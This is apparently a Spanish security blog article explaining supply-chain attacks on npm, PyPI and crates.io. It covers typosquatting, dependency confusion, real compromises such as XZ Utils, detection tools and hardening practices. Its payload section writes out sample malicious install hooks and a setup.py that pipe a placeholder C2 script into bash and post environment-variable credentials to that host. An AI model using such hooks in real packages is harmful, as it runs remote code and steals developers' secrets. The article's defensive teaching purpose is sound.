Supply Chain en Paquetes Linux: npm, pip y cargo como Vectores de Ataque
Análisis de ataques supply chain en ecosistemas de paquetes. Typosquatting en npm/pip/cargo, dependency confusion, paquetes maliciosos con cryptominers y stealers, herramientas de detección (Socket, Snyk, npm audit) y buenas prácticas.
Tu npm install puede ser un vector de ataque
Cada vez que un desarrollador ejecuta pip install, npm install o cargo add, confía en que el paquete descargado es legítimo y seguro. Esta confianza es el eslabón débil de la cadena de suministro de software.
Los registries públicos (npm, PyPI, crates.io, RubyGems) permiten a cualquiera publicar paquetes. No hay revisión humana, no hay auditoría de código, no hay verificación de identidad significativa. Un atacante puede publicar un paquete malicioso en minutos.
Técnicas de ataque
Typosquatting
Publicar paquetes con nombres que son errores tipográficos comunes de paquetes populares:
| Paquete legítimo | Paquete malicioso (ejemplos) | Ecosystem |
|---|---|---|
requests | requets, reqeusts, request | PyPI |
lodash | lodash-utils, lod-ash, 1odash | npm |
colors | colour, colorsjs | npm |
beautifulsoup4 | beautifulsoup, beutifulsoup4 | PyPI |
tensorflow | tesnorflow, tensorflow-gpu-2 | PyPI |
serde | serde_json_core (nombre confuso) | crates.io |
Dependency confusion
Descubierto por Alex Birsan (2021), que ganó $130.000+ en bug bounties:
Empresa Acme usa un paquete interno: @acme/utils (version 1.0)
Registro interno: registry.acme.com
Atacante publica en npm publico: acme-utils (version 99.0)
Cuando el CI/CD de Acme ejecuta npm install:
npm busca en npm publico: acme-utils v99.0 (existe, version mayor)
npm busca en registry interno: @acme/utils v1.0
npm instala v99.0 del publico (version mayor gana)
→ Codigo malicioso ejecutado en CI/CD de Acme
Birsan comprometió con éxito builds de Apple, Microsoft, PayPal, Shopify, Netflix y Yelp con esta técnica.
Compromiso de paquete legítimo
| Método | Ejemplo real |
|---|---|
| Account takeover | ua-parser-js (npm, 2021): cuenta del mantenedor comprometida, cryptominer inyectado. 8M descargas/semana |
| Mantenedor malicioso | colors.js + faker.js (npm, 2022): el mantenedor introdujo código destructivo intencionalmente (protesta) |
| Protestware | node-ipc (npm, 2022): mantenedor añadió código que borraba archivos en sistemas con IP rusa/bielorrusa |
| Build pipeline | Codecov (2021): script de CI comprometido que exfiltraba variables de entorno (tokens, credenciales) |
| XZ Utils backdoor | xz-utils 5.6.0-5.6.1 (2024): backdoor sofisticado insertado por mantenedor infiltrado que comprometía sshd via liblzma |
XZ Utils: el ataque más sofisticado
El caso XZ Utils (marzo 2024) merece mención especial por su sofisticación:
- Un individuo ("Jia Tan") contribuyó al proyecto xz durante 2 años, ganando confianza
- Eventualmente obtuvo acceso de mantenedor
- Insertó un backdoor en el proceso de build (no en el código fuente visible en el repositorio)
- El backdoor modificaba liblzma para interceptar autenticación SSH
- Descubierto por Andres Freund (Microsoft) porque notó que sshd tardaba 0.5 segundos más en conectar
- Afectaba a distribuciones rolling-release (Fedora, Debian testing)
Payloads comunes en paquetes maliciosos
Lifecycle scripts
npm permite ejecutar scripts en diferentes fases de la instalación:
{
"scripts": {
"preinstall": "node malicious.js",
"postinstall": "curl http://c2/steal.sh | bash",
"install": "python setup.py"
}
}
preinstall y postinstall se ejecutan automáticamente durante npm install. El código malicioso se ejecuta sin que el desarrollador lo sepa.
setup.py en PyPI
# setup.py malicioso
from setuptools import setup
import os
# Ejecutar payload durante la instalacion
os.system("curl -sL http://c2/payload.sh | bash")
# O robar tokens/credenciales
import subprocess
tokens = subprocess.check_output("env", shell=True)
requests.post("http://c2/exfil", data=tokens)
setup(
name="requets", # typosquatting de "requests"
version="2.28.1",
# ... resto de metadata normal
)
Tipos de payload
| Payload | Prevalencia | Ejemplo |
|---|---|---|
| Credential stealer | Muy alta | Leer variables de entorno (API keys, tokens AWS/GitHub) |
| Cryptominer | Alta | Instalar XMRig |
| Reverse shell | Alta | Backdoor para acceso remoto |
| Data exfiltration | Alta | Enviar .npmrc, .env, .git/config al C2 |
| Ransomware | Baja | Cifrar archivos del proyecto |
| SSH key injection | Media | Añadir authorized_keys |
Detección y herramientas
Herramientas de SCA (Software Composition Analysis)
| Herramienta | Ecosistema | Tipo | Qué detecta |
|---|---|---|---|
| npm audit | npm | Built-in | Vulnerabilidades conocidas en dependencias |
| pip-audit | PyPI | Open source | Vulnerabilidades conocidas |
| cargo-audit | crates.io | Open source | Vulnerabilidades conocidas |
| Socket (socket.dev) | npm, PyPI | Comercial/free | Paquetes maliciosos, supply chain risks, behavior analysis |
| Snyk | Multi | Comercial/free | Vulnerabilidades + malware en dependencias |
| Dependabot (GitHub) | Multi | Free | Updates de seguridad automáticos |
| Renovate | Multi | Open source | Gestión de dependencias con security checks |
| Phylum | Multi | Comercial | Análisis de riesgo de paquetes |
| OSSIndex (Sonatype) | Multi | Free | Base de datos de vulnerabilidades |
npm: buenas prácticas
# Usar lockfile SIEMPRE
npm ci # Instalar desde lockfile (no modifica)
# NO usar npm install en CI/CD (puede modificar lockfile)
# Auditar dependencias
npm audit
npm audit --production # Solo dependencias de produccion
# Verificar firmas de paquetes (npm 9+)
npm audit signatures
# Deshabilitar lifecycle scripts de dependencias
npm install --ignore-scripts
# Luego ejecutar scripts solo de paquetes confiados
# Verificar un paquete antes de instalar
npm info [package] | grep -E '(name|version|author|homepage)'
PyPI: buenas prácticas
# Usar requirements.txt con hashes
pip install --require-hashes -r requirements.txt
# requirements.txt con hashes:
requests==2.31.0 --hash=sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003e
# Auditar
pip-audit
# Verificar paquete antes de instalar
pip show [package]
pip download [package] --no-deps # Descargar sin instalar
Buenas prácticas generales
| Práctica | Descripción |
|---|---|
| Lockfiles | Siempre usar y commitear lockfiles (package-lock.json, Pipfile.lock, Cargo.lock) |
| Pinear versiones | Versiones exactas en producción (== no >=) |
| Auditar regularmente | npm audit, pip-audit, cargo-audit en CI/CD |
| Registry privado | Usar Artifactory, Nexus o Verdaccio como proxy con cache y filtrado |
| Ignore scripts | Deshabilitar lifecycle scripts en CI/CD cuando sea posible |
| Verify before install | Revisar paquetes nuevos antes de añadirlos al proyecto |
| SBOM | Generar y mantener Software Bill of Materials |
| Dependabot/Renovate | Updates automáticos con revisión humana |
| Scoped packages | En npm: usar @org/package para evitar squatting |
| Two-factor auth | Habilitar 2FA en cuentas de maintainers de paquetes |
Mapeo MITRE ATT&CK
| Técnica | ID | Contexto supply chain |
|---|---|---|
| Supply Chain Compromise: Compromise Software Dependencies | T1195.001 | Paquetes maliciosos en npm/pip |
| Supply Chain Compromise: Compromise Software Supply Chain | T1195.002 | Compromiso de build pipeline |
| Trusted Relationship | T1199 | Dependency confusion |
| Execution: Command and Scripting Interpreter | T1059 | Lifecycle scripts (postinstall) |
| Credential Access: Unsecured Credentials | T1552 | Robo de tokens/API keys de env vars |
Fuentes y referencias
- Birsan, A. "Dependency Confusion: How I Hacked Into Apple, Microsoft and Others." 2021.
- Socket. "2024 State of Open Source Security." socket.dev.
- Freund, A. "xz/liblzma backdoor: CVE-2024-3094." oss-security mailing list, March 2024.
- npm. "npm audit documentation." npm Docs.
- Phylum. "State of Software Supply Chain Security 2024." Phylum Research.
- MITRE ATT&CK. "Supply Chain Compromise (T1195)." https://attack.mitre.org/techniques/T1195/
- OpenSSF. "Scorecard: Security Health Metrics for Open Source." https://securityscorecards.dev/
- Snyk. "State of Open Source Security 2024." Snyk.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Malware en Contenedores: Docker y Kubernetes como Superficie de Ataque
Shell Scripts Maliciosos: Análisis y Deofuscación Paso a Paso
Cryptominers en Linux: Detección, Respuesta y Cómo Eliminan a la Competencia
Cobertura ATT&CK: DeTT&CT, Gap Analysis y Priorización de Detecciones
Construir un Programa de Detection Engineering: De Cero a Producción
De IOC a Detección: Workflow Completo para Operacionalizar Inteligencia
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.